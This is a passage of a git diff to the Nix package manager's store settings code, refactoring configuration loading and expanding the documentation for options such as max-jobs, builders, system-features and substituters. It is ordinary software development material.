[&](const Path & path) { + try { + std::string contents = readFile(path); + config.applyConfig(contents, path); + } catch (SystemError &) { } + }; + + applyConfigFile(settings.nixConfDir + "/nix.conf"); /* We only want to send overrides to the daemon, i.e. stuff from ~/.nix/nix.conf or the command line. */ - globalConfig.resetOverridden(); + config.resetOverridden(); auto files = settings.nixUserConfFiles; for (auto file = files.rbegin(); file != files.rend(); file++) { - globalConfig.applyConfigFile(*file); + applyConfigFile(*file); } auto nixConfEnv = getEnv("NIX_CONFIG"); if (nixConfEnv.has_value()) { - globalConfig.applyConfig(nixConfEnv.value(), "NIX_CONFIG"); + config.applyConfig(nixConfEnv.value(), "NIX_CONFIG"); } } @@ -123,6 +151,29 @@ unsigned int Settings::getDefaultCores() return concurrency; } +#if __APPLE__ +static bool hasVirt() { + + int hasVMM; + int hvSupport; + size_t size; + + size = sizeof(hasVMM); + if (sysctlbyname("kern.hv_vmm_present", &hasVMM, &size, NULL, 0) == 0) { + if (hasVMM) + return false; + } + + // whether the kernel and hardware supports virt + size = sizeof(hvSupport); + if (sysctlbyname("kern.hv_support", &hvSupport, &size, NULL, 0) == 0) { + return hvSupport == 1; + } else { + return false; + } +} +#endif + StringSet Settings::getDefaultSystemFeatures() { /* For backwards compatibility, accept some "features" that are @@ -139,6 +190,11 @@ StringSet Settings::getDefaultSystemFeatures() features.insert("kvm"); #endif + #if __APPLE__ + if (hasVirt()) + features.insert("apple-virt"); + #endif + return features; } @@ -166,25 +222,24 @@ StringSet Settings::getDefaultExtraPlatforms() return extraPlatforms; } -bool Settings::isExperimentalFeatureEnabled(const ExperimentalFeature & feature) -{ - auto & f = experimentalFeatures.get(); - return std::find(f.begin(), f.end(), feature) != f.end(); -} - -void Settings::requireExperimentalFeature(const ExperimentalFeature & feature) -{ - if (!isExperimentalFeatureEnabled(feature)) - throw MissingExperimentalFeature(feature); -} - bool Settings::isWSL1() { +#if __linux__ struct utsname utsbuf; uname(&utsbuf); // WSL1 uses -Microsoft suffix // WSL2 uses -microsoft-standard suffix return hasSuffix(utsbuf.release, "-Microsoft"); +#else + return false; +#endif +} + +Path Settings::getDefaultSSLCertFile() +{ + for (auto & fn : {"/etc/ssl/certs/ca-certificates.crt", "/nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt"}) + if (pathAccessible(fn)) return fn; + return ""; } const std::string nixVersion = PACKAGE_VERSION; @@ -195,100 +250,129 @@ NLOHMANN_JSON_SERIALIZE_ENUM(SandboxMode, { {SandboxMode::smDisabled, false}, }); -template<> void BaseSetting::set(const std::string & str, bool append) +template<> SandboxMode BaseSetting::parse(const std::string & str) const { - if (str == "true") value = smEnabled; - else if (str == "relaxed") value = smRelaxed; - else if (str == "false") value = smDisabled; + if (str == "true") return smEnabled; + else if (str == "relaxed") return smRelaxed; + else if (str == "false") return smDisabled; else throw UsageError("option '%s' has invalid value '%s'", name, str); } -template<> bool BaseSetting::isAppendable() +template<> struct BaseSetting::trait { - return false; -} + static constexpr bool appendable = false; +}; template<> std::string BaseSetting::to_string() const { if (value == smEnabled) return "true"; else if (value == smRelaxed) return "relaxed"; else if (value == smDisabled) return "false"; - else abort(); + else unreachable(); } template<> void BaseSetting::convertToArg(Args & args, const std::string & category) { args.addFlag({ .longName = name, + .aliases = aliases, .description = "Enable sandboxing.", .category = category, - .handler = {[=]() { override(smEnabled); }} + .handler = {[this]() { override(smEnabled); }} }); args.addFlag({ .longName = "no-" + name, + .aliases = aliases, .description = "Disable sandboxing.", .category = category, - .handler = {[=]() { override(smDisabled); }} + .handler = {[this]() { override(smDisabled); }} }); args.addFlag({ .longName = "relaxed-" + name, + .aliases = aliases, .description = "Enable sandboxing, but allow builds to disable it.", .category = category, - .handler = {[=]() { override(smRelaxed); }} + .handler = {[this]() { override(smRelaxed); }} }); } -void MaxBuildJobsSetting::set(const std::string & str, bool append) +unsigned int MaxBuildJobsSetting::parse(const std::string & str) const { - if (str == "auto") value = std::max(1U, std::thread::hardware_concurrency()); + if (str == "auto") return std::max(1U, std::thread::hardware_concurrency()); else { if (auto n = string2Int(str)) - value = *n; + return *n; else throw UsageError("configuration setting '%s' should be 'auto' or an integer", name); } } -void PluginFilesSetting::set(const std::string & str, bool append) +static void preloadNSS() { - if (pluginsLoaded) - throw UsageError("plugin-files set after plugins were loaded, you may need to move the flag before the subcommand"); - BaseSetting::set(str, append); + /* builtin:fetchurl can trigger a DNS lookup, which with glibc can trigger a dynamic library load of + one of the glibc NSS libraries in a sandboxed child, which will fail unless the library's already + been loaded in the parent. So we force a lookup of an invalid domain to force the NSS machinery to + load its lookup libraries in the parent before any child gets a chance to. */ + static std::once_flag dns_resolve_flag; + + std::call_once(dns_resolve_flag, []() { +#ifdef __GLIBC__ + /* On linux, glibc will run every lookup through the nss layer. + * That means every lookup goes, by default, through nscd, which acts as a local + * cache. + * Because we run builds in a sandbox, we also remove access to nscd otherwise + * lookups would leak into the sandbox. + * + * But now we have a new problem, we need to make sure the nss_dns backend that + * does the dns lookups when nscd is not available is loaded or available. + * + * We can't make it available without leaking nix's environment, so instead we'll + * load the backend, and configure nss so it does not try to run dns lookups + * through nscd. + * + * This is technically only used for builtins:fetch* functions so we only care + * about dns. + * + * All other platforms are unaffected. + */ + if (!dlopen(LIBNSS_DNS_SO, RTLD_NOW)) + warn("unable to load nss_dns backend"); + // FIXME: get hosts entry from nsswitch.conf. + __nss_configure_lookup("hosts", "files dns"); +#endif + }); +} + +static bool initLibStoreDone = false; + +void assertLibStoreInitialized() { + if (!initLibStoreDone) { + printError("The program must call nix::initNix() before calling any libstore library functions."); + abort(); + }; +} + +void initLibStore(bool loadConfig) { + if (initLibStoreDone) return; + + initLibUtil(); + + if (loadConfig) + loadConfFile(globalConfig); + + preloadNSS(); + + /* On macOS, don't use the per-session TMPDIR (as set e.g. by + sshd). This breaks build users because they don't have access + to the TMPDIR, in particular in ‘nix-store --serve’. */ +#if __APPLE__ + if (hasPrefix(defaultTempDir(), "/var/folders/")) + unsetenv("TMPDIR"); +#endif + + initLibStoreDone = true; } -void initPlugins() -{ - assert(!settings.pluginFiles.pluginsLoaded); - for (const auto & pluginFile : settings.pluginFiles.get()) { - Paths pluginFiles; - try { - auto ents = readDirectory(pluginFile); - for (const auto & ent : ents) - pluginFiles.emplace_back(pluginFile + "/" + ent.name); - } catch (SysError & e) { - if (e.errNo != ENOTDIR) - throw; - pluginFiles.emplace_back(pluginFile); - } - for (const auto & file : pluginFiles) { - /* handle is purposefully leaked as there may be state in the - DSO needed by the action of the plugin. */ - void *handle = - dlopen(file.c_str(), RTLD_LAZY | RTLD_LOCAL); - if (!handle) - throw Error("could not dynamically open plugin file '%s': %s", file, dlerror()); - } - } - - /* Since plugins can add settings, try to re-apply previously - unknown settings. */ - globalConfig.reapplyUnknownSettings(); - globalConfig.warnUnknownSettings(); - - /* Tell the user if they try to set plugin-files after we've already loaded */ - settings.pluginFiles.pluginsLoaded = true; -} - } diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index fd5cce7ad..7a307f894 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -1,9 +1,11 @@ #pragma once +///@file #include "types.hh" #include "config.hh" -#include "util.hh" +#include "environment-variables.hh" #include "experimental-features.hh" +#include "users.hh" #include #include @@ -26,24 +28,7 @@ struct MaxBuildJobsSetting : public BaseSetting options->addSetting(this); } - void set(const std::string & str, bool append = false) override; -}; - -struct PluginFilesSetting : public BaseSetting -{ - bool pluginsLoaded = false; - - PluginFilesSetting(Config * options, - const Paths & def, - const std::string & name, - const std::string & description, - const std::set & aliases = {}) - : BaseSetting(def, true, name, description, aliases) - { - options->addSetting(this); - } - - void set(const std::string & str, bool append = false) override; + unsigned int parse(const std::string & str) const override; }; const uint32_t maxIdsPerBuild = @@ -64,40 +49,59 @@ class Settings : public Config { bool isWSL1(); + Path getDefaultSSLCertFile(); + public: Settings(); Path nixPrefix; - /* The directory where we store sources and derived files. */ + /** + * The directory where we store sources and derived files. + */ Path nixStore; Path nixDataDir; /* !!! fix */ - /* The directory where we log various operations. */ + /** + * The directory where we log various operations. + */ Path nixLogDir; - /* The directory where state is stored. */ + /** + * The directory where state is stored. + */ Path nixStateDir; - /* The directory where system configuration files are stored. */ + /** + * The directory where system configuration files are stored. + */ Path nixConfDir; - /* A list of user configuration files to load. */ + /** + * A list of user configuration files to load. + */ std::vector nixUserConfFiles; - /* The directory where the main programs are stored. */ - Path nixBinDir; - - /* The directory where the man pages are stored. */ + /** + * The directory where the man pages are stored. + */ Path nixManDir; - /* File name of the socket the daemon listens to. */ + /** + * File name of the socket the daemon listens to. + */ Path nixDaemonSocketFile; Setting storeUri{this, getEnv("NIX_REMOTE").value_or("auto"), "store", - "The default Nix store to use."}; + R"( + The [URL of the Nix store](@docroot@/store/types/index.md#store-url-format) + to use for most operations. + See the + [Store Types](@docroot@/store/types/index.md) + section of the manual for supported store types and settings. + )"}; Setting keepFailed{this, false, "keep-failed", "Whether to keep temporary directories of failed builds."}; @@ -114,61 +118,98 @@ public: )", {"build-fallback"}}; - /* Whether to show build log output in real time. */ + /** + * Whether to show build log output in real time. + */ bool verboseBuild = true; - Setting logLines{this, 10, "log-lines", + Setting logLines{this, 25, "log-lines", "The number of lines of the tail of " "the log to show if a build fails."}; MaxBuildJobsSetting maxBuildJobs{ this, 1, "max-jobs", R"( - This option defines the maximum number of jobs that Nix will try to - build in parallel. The default is `1`. The special value `auto` - causes Nix to use the number of CPUs in your system. `0` is useful - when using remote builders to prevent any local builds (except for - `preferLocalBuild` derivation attribute which executes locally - regardless). It can be overridden using the `--max-jobs` (`-j`) - command line switch. + Maximum number of jobs that Nix will try to build locally in parallel. + + The special value `auto` causes Nix to use the number of CPUs in your system. + Use `0` to disable local builds and directly use the remote machines specified in [`builders`](#conf-builders). + This will not affect derivations that have [`preferLocalBuild = true`](@docroot@/language/advanced-attributes.md#adv-attr-preferLocalBuild), which are always built locally. + + > **Note** + > + > The number of CPU cores to use for each build job is independently determined by the [`cores`](#conf-cores) setting. + + + The setting can be overridden using the `--max-jobs` (`-j`) command line switch. )", {"build-max-jobs"}}; + Setting maxSubstitutionJobs{ + this, 16, "max-substitution-jobs", + R"( + This option defines the maximum number of substitution jobs that Nix + will try to run in parallel. The default is `16`. The minimum value + one can choose is `1` and lower values will be interpreted as `1`. + )", + {"substitution-max-jobs"}}; + Setting buildCores{ this, getDefaultCores(), "cores", R"( - Sets the value of the `NIX_BUILD_CORES` environment variable in the - invocation of builders. Builders can use this variable at their - discretion to control the maximum amount of parallelism. For - instance, in Nixpkgs, if the derivation attribute - `enableParallelBuilding` is set to `true`, the builder passes the - `-jN` flag to GNU Make. It can be overridden using the `--cores` - command line switch and defaults to `1`. The value `0` means that - the builder should use all available CPU cores in the system. - )", - {"build-cores"}, false}; + Sets the value of the `NIX_BUILD_CORES` environment variable in the [invocation of the `builder` executable](@docroot@/language/derivations.md#builder-execution) of a derivation. + The `builder` executable can use this variable to control its own maximum amount of parallelism. - /* Read-only mode. Don't copy stuff to the store, don't change - the database. */ + + For instance, in Nixpkgs, if the attribute `enableParallelBuilding` for the `mkDerivation` build helper is set to `true`, it will pass the `-j${NIX_BUILD_CORES}` flag to GNU Make. + + The value `0` means that the `builder` should use all available CPU cores in the system. + + > **Note** + > + > The number of parallel local Nix build jobs is independently controlled with the [`max-jobs`](#conf-max-jobs) setting. + )", + {"build-cores"}, + // Don't document the machine-specific default value + false}; + + /** + * Read-only mode. Don't copy stuff to the store, don't change + * the database. + */ bool readOnlyMode = false; Setting thisSystem{ this, SYSTEM, "system", R"( - This option specifies the canonical Nix system name of the current - installation, such as `i686-linux` or `x86_64-darwin`. Nix can only - build derivations whose `system` attribute equals the value - specified here. In general, it never makes sense to modify this - value from its default, since you can use it to ‘lie’ about the - platform you are building on (e.g., perform a Mac OS build on a - Linux machine; the result would obviously be wrong). It only makes - sense if the Nix binaries can run on multiple platforms, e.g., - ‘universal binaries’ that run on `x86_64-linux` and `i686-linux`. + The system type of the current Nix installation. + Nix will only build a given [derivation](@docroot@/language/derivations.md) locally when its `system` attribute equals any of the values specified here or in [`extra-platforms`](#conf-extra-platforms). - It defaults to the canonical Nix system name detected by `configure` - at build time. + The default value is set when Nix itself is compiled for the system it will run on. + The following system types are widely used, as Nix is actively supported on these platforms: + + - `x86_64-linux` + - `x86_64-darwin` + - `i686-linux` + - `aarch64-linux` + - `aarch64-darwin` + - `armv6l-linux` + - `armv7l-linux` + + In general, you do not have to modify this setting. + While you can force Nix to run a Darwin-specific `builder` executable on a Linux machine, the result would obviously be wrong. + + This value is available in the Nix language as + [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) + if the + [`eval-system`](#conf-eval-system) + configuration option is set as the empty string. )"}; Setting maxSilentTime{ @@ -200,26 +241,150 @@ public: )", {"build-timeout"}}; - PathSetting buildHook{this, true, "", "build-hook", - "The path of the helper program that executes builds to remote machines."}; + Setting buildHook{this, {"nix", "__build-remote"}, "build-hook", + R"( + The path to the helper program that executes remote builds. + + Nix communicates with the build hook over `stdio` using a custom protocol to request builds that cannot be performed directly by the Nix daemon. + The default value is the internal Nix binary that implements remote building. + + > **Important** + > + > Change this setting only if you really know what you’re doing. + )"}; Setting builders{ this, "@" + nixConfDir + "/machines", "builders", R"( - A semicolon-separated list of build machines. - For the exact format and examples, see [the manual chapter on remote builds](../advanced-topics/distributed-builds.md) + A semicolon- or newline-separated list of build machines. + + In addition to the [usual ways of setting configuration options](@docroot@/command-ref/conf-file.md), the value can be read from a file by prefixing its absolute path with `@`. + + > **Example** + > + > This is the default setting: + > + > ``` + > builders = @/etc/nix/machines + > ``` + + Each machine specification consists of the following elements, separated by spaces. + Only the first element is required. + To leave a field at its default, set it to `-`. + + 1. The URI of the remote store in the format `ssh://[username@]hostname`. + + > **Example** + > + > `ssh://nix@mac` + + For backward compatibility, `ssh://` may be omitted. + The hostname may be an alias defined in `~/.ssh/config`. + + 2. A comma-separated list of [Nix system types](@docroot@/development/building.md#system-type). + If omitted, this defaults to the local platform type. + + > **Example** + > + > `aarch64-darwin` + + It is possible for a machine to support multiple platform types. + + > **Example** + > + > `i686-linux,x86_64-linux` + + 3. The SSH identity file to be used to log in to the remote machine. + If omitted, SSH will use its regular identities. + + > **Example** + > + > `/home/user/.ssh/id_mac` + + 4. The maximum number of builds that Nix will execute in parallel on the machine. + Typically this should be equal to the number of CPU cores. + + 5. The “speed factor”, indicating the relative speed of the machine as a positive integer. + If there are multiple machines of the right type, Nix will prefer the fastest, taking load into account. + + 6. A comma-separated list of supported [system features](#conf-system-features). + + A machine will only be used to build a derivation if all the features in the derivation's [`requiredSystemFeatures`](@docroot@/language/advanced-attributes.html#adv-attr-requiredSystemFeatures) attribute are supported by that machine. + + 7. A comma-separated list of required [system features](#conf-system-features). + + A machine will only be used to build a derivation if all of the machine’s required features appear in the derivation’s [`requiredSystemFeatures`](@docroot@/language/advanced-attributes.html#adv-attr-requiredSystemFeatures) attribute. + + 8. The (base64-encoded) public host key of the remote machine. + If omitted, SSH will use its regular `known_hosts` file. + + The value for this field can be obtained via `base64 -w0`. + + > **Example** + > + > Multiple builders specified on the command line: + > + > ```console + > --builders 'ssh://mac x86_64-darwin ; ssh://beastie x86_64-freebsd' + > ``` + + > **Example** + > + > This specifies several machines that can perform `i686-linux` builds: + > + > ``` + > nix@scratchy.labs.cs.uu.nl i686-linux /home/nix/.ssh/id_scratchy 8 1 kvm + > nix@itchy.labs.cs.uu.nl i686-linux /home/nix/.ssh/id_scratchy 8 2 + > nix@poochie.labs.cs.uu.nl i686-linux /home/nix/.ssh/id_scratchy 1 2 kvm benchmark + > ``` + > + > However, `poochie` will only build derivations that have the attribute + > + > ```nix + > requiredSystemFeatures = [ "benchmark" ]; + > ``` + > + > or + > + > ```nix + > requiredSystemFeatures = [ "benchmark" "kvm" ]; + > ``` + > + > `itchy` cannot do builds that require `kvm`, but `scratchy` does support such builds. + > For regular builds, `itchy` will be preferred over `scratchy` because it has a higher speed factor. + + For Nix to use substituters, the calling user must be in the [`trusted-users`](#conf-trusted-users) list. + + > **Note** + > + > A build machine must be accessible via SSH and have Nix installed. + > `nix` must be available in `$PATH` for the user connecting over SSH. + + > **Warning** + > + > If you are building via the Nix daemon (default), the Nix daemon user account on the local machine (that is, `root`) requires access to a user account on the remote machine (not necessarily `root`). + > + > If you can’t or don’t want to configure `root` to be able to access the remote machine, set [`store`](#conf-store) to any [local store](@docroot@/store/types/local-store.html), e.g. by passing `--store /tmp` to the command on the local machine. + + To build only on remote machines and disable local builds, set [`max-jobs`](#conf-max-jobs) to 0. + + If you want the remote machines to use substituters, set [`builders-use-substitutes`](#conf-builders-use-substituters) to `true`. + )", + {}, false}; + + Setting alwaysAllowSubstitutes{ + this, false, "always-allow-substitutes", + R"( + If set to `true`, Nix will ignore the [`allowSubstitutes`](@docroot@/language/advanced-attributes.md) attribute in derivations and always attempt to use [available substituters](#conf-substituters). )"}; Setting buildersUseSubstitutes{ this, false, "builders-use-substitutes", R"( - If set to `true`, Nix will instruct remote build machines to use - their own binary substitutes if available. In practical terms, this - means that remote hosts will fetch as many build dependencies as - possible from their own substitutes (e.g, from `cache.nixos.org`), - instead of waiting for this host to upload them all. This can - drastically reduce build times if the network connection between - this computer and the remote build host is slow. + If set to `true`, Nix will instruct [remote build machines](#conf-builders) to use their own [`substituters`](#conf-substituters) if available. + + It means that remote build hosts will fetch as many dependencies as possible from their own substituters (e.g, from `cache.nixos.org`) instead of waiting for the local machine to upload them all. + This can drastically reduce build times if the network connection between the local machine and the remote build host is slow. )"}; Setting reservedSize{this, 8 * 1024 * 1024, "gc-reserved-space", @@ -244,8 +409,10 @@ public: Setting useSQLiteWAL{this, !isWSL1(), "use-sqlite-wal", "Whether SQLite should use WAL mode."}; +#ifndef _WIN32 Setting syncBeforeRegistering{this, false, "sync-before-registering", "Whether to call `sync()` before registering a path as valid."}; +#endif Setting useSubstitutes{ this, true, "substitute", @@ -286,8 +453,8 @@ public: If the build users group is empty, builds will be performed under the uid of the Nix process (that is, the uid of the caller if `NIX_REMOTE` is empty, the uid under which the Nix daemon runs if - `NIX_REMOTE` is `daemon`). Obviously, this should not be used in - multi-user settings with untrusted users. + `NIX_REMOTE` is `daemon`). Obviously, this should not be used + with a nix daemon accessible to untrusted clients. Defaults to `nixbld` when running as root, *empty* otherwise. )", @@ -299,17 +466,7 @@ public: users in `build-users-group`. UIDs are allocated starting at 872415232 (0x34000000) on Linux and 56930 on macOS. - - > **Warning** - > This is an experimental feature. - - To enable it, add the following to [`nix.conf`](#): - - ``` - extra-experimental-features = auto-allocate-uids - auto-allocate-uids = true - ``` - )"}; + )", {}, true, Xp::AutoAllocateUids}; Setting startId{this, #if __linux__ @@ -336,18 +493,8 @@ public: Whether to execute builds inside cgroups. This is only supported on Linux. - Cgroups are required and enabled automatically for derivations + Cgroups are required and enabled automatically for derivations that require the `uid-range` system feature. - - > **Warning** - > This is an experimental feature. - - To enable it, add the following to [`nix.conf`](#): - - ``` - extra-experimental-features = cgroups - use-cgroups = true - ``` )"}; #endif @@ -449,9 +596,6 @@ public: )", {"env-keep-derivations"}}; - /* Whether to lock the Nix client and worker to the same CPU. */ - bool lockCPU; - Setting sandboxMode{ this, #if __linux__ @@ -498,6 +642,9 @@ public: for example, `/dev/nvidiactl?` specifies that `/dev/nvidiactl` will only be mounted in the sandbox if it exists in the host filesystem. + If the source is in the Nix store, then its closure will be added to + the sandbox as well. + Depending on how Nix was built, the default value for this option may be empty or provide `/bin/sh` as a bind-mount of `bash`. )", @@ -506,20 +653,60 @@ public: Setting sandboxFallback{this, true, "sandbox-fallback", "Whether to disable sandboxing when the kernel doesn't allow it."}; +#ifndef _WIN32 + Setting requireDropSupplementaryGroups{this, isRootUser(), "require-drop-supplementary-groups", + R"( + Following the principle of least privilege, + Nix will attempt to drop supplementary groups when building with sandboxing. + + However this can fail under some circumstances. + For example, if the user lacks the `CAP_SETGID` capability. + Search `setgroups(2)` for `EPERM` to find more detailed information on this. + + If you encounter such a failure, setting this option to `false` will let you ignore it and continue. + But before doing so, you should consider the security implications carefully. + Not dropping supplementary groups means the build sandbox will be less restricted than intended. + + This option defaults to `true` when the user is root + (since `root` usually has permissions to call setgroups) + and `false` otherwise. + )"}; +#endif + #if __linux__ Setting sandboxShmSize{ this, "50%", "sandbox-dev-shm-size", R"( - This option determines the maximum size of the `tmpfs` filesystem - mounted on `/dev/shm` in Linux sandboxes. For the format, see the - description of the `size` option of `tmpfs` in mount8. The default - is `50%`. + *Linux only* + + This option determines the maximum size of the `tmpfs` filesystem + mounted on `/dev/shm` in Linux sandboxes. For the format, see the + description of the `size` option of `tmpfs` in mount(8). The default + is `50%`. )"}; Setting sandboxBuildDir{this, "/build", "sandbox-build-dir", - "The build directory inside the sandbox."}; + R"( + *Linux only* + + The build directory inside the sandbox. + + This directory is backed by [`build-dir`](#conf-build-dir) on the host. + )"}; #endif + Setting> buildDir{this, std::nullopt, "build-dir", + R"( + The directory on the host, in which derivations' temporary build directories are created. + + If not set, Nix will use the system temporary directory indicated by the `TMPDIR` environment variable. + Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface. + + This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files. + + If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). + )"}; + Setting allowedImpureHostPrefixes{this, {}, "allowed-impure-host-deps", "Which prefixes to allow derivations to ask for access to (primarily for Darwin)."}; @@ -538,8 +725,8 @@ public: line. )"}; - PathSetting diffHook{ - this, true, "", "diff-hook", + OptionalPathSetting diffHook{ + this, std::nullopt, "diff-hook", R"( Absolute path to an executable capable of diffing build results. The hook is executed if `run-diff-hook` is true, and the @@ -574,11 +761,16 @@ public: {"cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY="}, "trusted-public-keys", R"( - A whitespace-separated list of public keys. When paths are copied - from another Nix store (such as a binary cache), they must be - signed with one of these keys. For example: - `cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY= - hydra.nixos.org-1:CNHJZBh9K4tP3EKF6FkkgeVYsS3ohTl+oS0Qa8bezVs=`. + A whitespace-separated list of public keys. + + At least one of the following condition must be met + for Nix to accept copying a store object from another + Nix store (such as a [substituter](#conf-substituters)): + + - the store object has been signed using a key in the trusted keys list + - the [`require-sigs`](#conf-require-sigs) option has been set to `false` + - the store URL is configured with `trusted=true` + - the store object is [content-addressed](@docroot@/glossary.md#gloss-content-addressed-store-object) )", {"binary-cache-public-keys"}}; @@ -630,96 +822,118 @@ public: getDefaultExtraPlatforms(), "extra-platforms", R"( - Platforms other than the native one which this machine is capable of - building for. This can be useful for supporting additional - architectures on compatible machines: i686-linux can be built on - x86\_64-linux machines (and the default for this setting reflects - this); armv7 is backwards-compatible with armv6 and armv5tel; some - aarch64 machines can also natively run 32-bit ARM code; and - qemu-user may be used to support non-native platforms (though this - may be slow and buggy). Most values for this are not enabled by - default because build systems will often misdetect the target - platform and generate incompatible code, so you may wish to - cross-check the results of using this option against proper - natively-built versions of your derivations. - )", {}, false}; + System types of executables that can be run on this machine. + + Nix will only build a given [derivation](@docroot@/language/derivations.md) locally when its `system` attribute equals any of the values specified here or in the [`system` option](#conf-system). + + Setting this can be useful to build derivations locally on compatible machines: + - `i686-linux` executables can be run on `x86_64-linux` machines (set by default) + - `x86_64-darwin` executables can be run on macOS `aarch64-darwin` with Rosetta 2 (set by default where applicable) + - `armv6` and `armv5tel` executables can be run on `armv7` + - some `aarch64` machines can also natively run 32-bit ARM code + - `qemu-user` may be used to support non-native platforms (though this + may be slow and buggy) + + Build systems will usually detect the target platform to be the current physical system and therefore produce machine code incompatible with what may be intended in the derivation. + You should design your derivation's `builder` accordingly and cross-check the results when using this option against natively-built versions of your derivation. + )", + {}, + // Don't document the machine-specific default value + false}; Setting systemFeatures{ this, getDefaultSystemFeatures(), "system-features", R"( - A set of system “features” supported by this machine, e.g. `kvm`. - Derivations can express a dependency on such features through the - derivation attribute `requiredSystemFeatures`. For example, the - attribute + A set of system “features” supported by this machine. - requiredSystemFeatures = [ "kvm" ]; + This complements the [`system`](#conf-system) and [`extra-platforms`](#conf-extra-platforms) configuration options and the corresponding [`system`](@docroot@/language/derivations.md#attr-system) attribute on derivations. - ensures that the derivation can only be built on a machine with the - `kvm` feature. + A derivation can require system features in the [`requiredSystemFeatures` attribute](@docroot@/language/advanced-attributes.md#adv-attr-requiredSystemFeatures), and the machine to build the derivation must have them. - This setting by default includes `kvm` if `/dev/kvm` is accessible, - and the pseudo-features `nixos-test`, `benchmark` and `big-parallel` - that are used in Nixpkgs to route builds to specific machines. - )", {}, false}; + System features are user-defined, but Nix sets the following defaults: + + - `apple-virt` + + Included on Darwin if virtualization is available. + + - `kvm` + + Included on Linux if `/dev/kvm` is accessible. + + - `nixos-test`, `benchmark`, `big-parallel` + + These historical pseudo-features are always enabled for backwards compatibility, as they are used in Nixpkgs to route Hydra builds to specific machines. + + - `ca-derivations` + + Included by default if the [`ca-derivations` experimental feature](@docroot@/development/experimental-features.md#xp-feature-ca-derivations) is enabled. + + This system feature is implicitly required by derivations with the [`__contentAddressed` attribute](@docroot@/language/advanced-attributes.md#adv-attr-__contentAddressed). + + - `recursive-nix` + + Included by default if the [`recursive-nix` experimental feature](@docroot@/development/experimental-features.md#xp-feature-recursive-nix) is enabled. + + - `uid-range` + + On Linux, Nix can run builds in a user namespace where they run as root (UID 0) and have 65,536 UIDs available. + This is primarily useful for running containers such as `systemd-nspawn` inside a Nix build. For an example, see [`tests/systemd-nspawn/nix`][nspawn]. + + [nspawn]: https://github.com/NixOS/nix/blob/67bcb99700a0da1395fa063d7c6586740b304598/tests/systemd-nspawn.nix. + + Included by default on Linux if the [`auto-allocate-uids`](#conf-auto-allocate-uids) setting is enabled. + )", + {}, + // Don't document the machine-specific default value + false}; Setting substituters{ this, Strings{"https://cache.nixos.org/"}, "substituters", R"( - A list of URLs of substituters, separated by whitespace. Substituters - are tried based on their Priority value, which each substituter can set - independently. Lower value means higher priority. - The default is `https://cache.nixos.org`, with a Priority of 40. + A list of [URLs of Nix stores](@docroot@/store/types/index.md#store-url-format) to be used as substituters, separated by whitespace. + A substituter is an additional [store](@docroot@/glossary.md#gloss-store) from which Nix can obtain [store objects](@docroot@/store/store-object.md) instead of building them. - Nix will copy a store path from a remote store only if one - of the following is true: + Substituters are tried based on their priority value, which each substituter can set independently. + Lower value means higher priority. + The default is `https://cache.nixos.org`, which has a priority of 40. - - the store object is signed by one of the [`trusted-public-keys`](#conf-trusted-public-keys) - - the substituter is in the [`trusted-substituters`](#conf-trusted-substituters) list - - the [`require-sigs`](#conf-require-sigs) option has been set to `false` - - the store object is [output-addressed](glossary.md#gloss-output-addressed-store-object) + At least one of the following conditions must be met for Nix to use a substituter: + + - The substituter is in the [`trusted-substituters`](#conf-trusted-substituters) list + - The user calling Nix is in the [`trusted-users`](#conf-trusted-users) list + + In addition, each store path should be trusted as described in [`trusted-public-keys`](#conf-trusted-public-keys) )", {"binary-caches"}}; Setting trustedSubstituters{ this, {}, "trusted-substituters", R"( - A list of URLs of substituters, separated by whitespace. These are - not used by default, but can be enabled by users of the Nix daemon - by specifying `--option substituters urls` on the command - line. Unprivileged users are only allowed to pass a subset of the - URLs listed in `substituters` and `trusted-substituters`. + A list of [Nix store URLs](@docroot@/store/types/index.md#store-url-format), separated by whitespace. + These are not used by default, but users of the Nix daemon can enable them by specifying [`substituters`](#conf-substituters). + + Unprivileged users (those set in only [`allowed-users`](#conf-allowed-users) but not [`trusted-users`](#conf-trusted-users)) can pass as `substituters` only those URLs listed in `trusted-substituters`. )", {"trusted-binary-caches"}}; - Setting trustedUsers{ - this, {"root"}, "trusted-users", - R"( - A list of names of users (separated by whitespace) that have - additional rights when connecting to the Nix daemon, such as the - ability to specify additional binary caches, or to import unsigned - NARs. You can also specify groups by prefixing them with `@`; for - instance, `@wheel` means all users in the `wheel` group. The default - is `root`. - - > **Warning** - > - > Adding a user to `trusted-users` is essentially equivalent to - > giving that user root access to the system. For example, the user - > can set `sandbox-paths` and thereby obtain read access to - > directories that are otherwise inacessible to them. - )"}; - Setting ttlNegativeNarInfoCache{ this, 3600, "narinfo-cache-negative-ttl", R"( - The TTL in seconds for negative lookups. If a store path is queried - from a substituter but was not found, there will be a negative - lookup cached in the local disk cache database for the specified - duration. + The TTL in seconds for negative lookups. + If a store path is queried from a [substituter](#conf-substituters) but was not found, there will be a negative lookup cached in the local disk cache database for the specified duration. + + Set to `0` to force updating the lookup cache. + + To wipe the lookup cache completely: + + ```shell-session + $ rm $HOME/.cache/nix/binary-cache-v*.sqlite* + # rm /root/.cache/nix/binary-cache-v*.sqlite* + ``` )"}; Setting ttlPositiveNarInfoCache{ @@ -735,18 +949,6 @@ public: mismatch if the build isn't reproducible. )"}; - /* ?Who we trust to use the daemon in safe ways */ - Setting allowedUsers{ - this, {"*"}, "allowed-users", - R"( - A list of names of users (separated by whitespace) that are allowed - to connect to the Nix daemon. As with the `trusted-users` option, - you can specify groups by prefixing them with `@`. Also, you can - allow all users by specifying `*`. The default is `*`. - - Note that trusted users are always allowed to connect. - )"}; - Setting printMissing{this, true, "print-missing", "Whether to print what paths need to be built or downloaded."}; @@ -846,8 +1048,22 @@ public: > `.netrc`. )"}; - /* Path to the SSL CA file used */ - Path caFile; + Setting caFile{ + this, getDefaultSSLCertFile(), "ssl-cert-file", + R"( + The path of a file containing CA 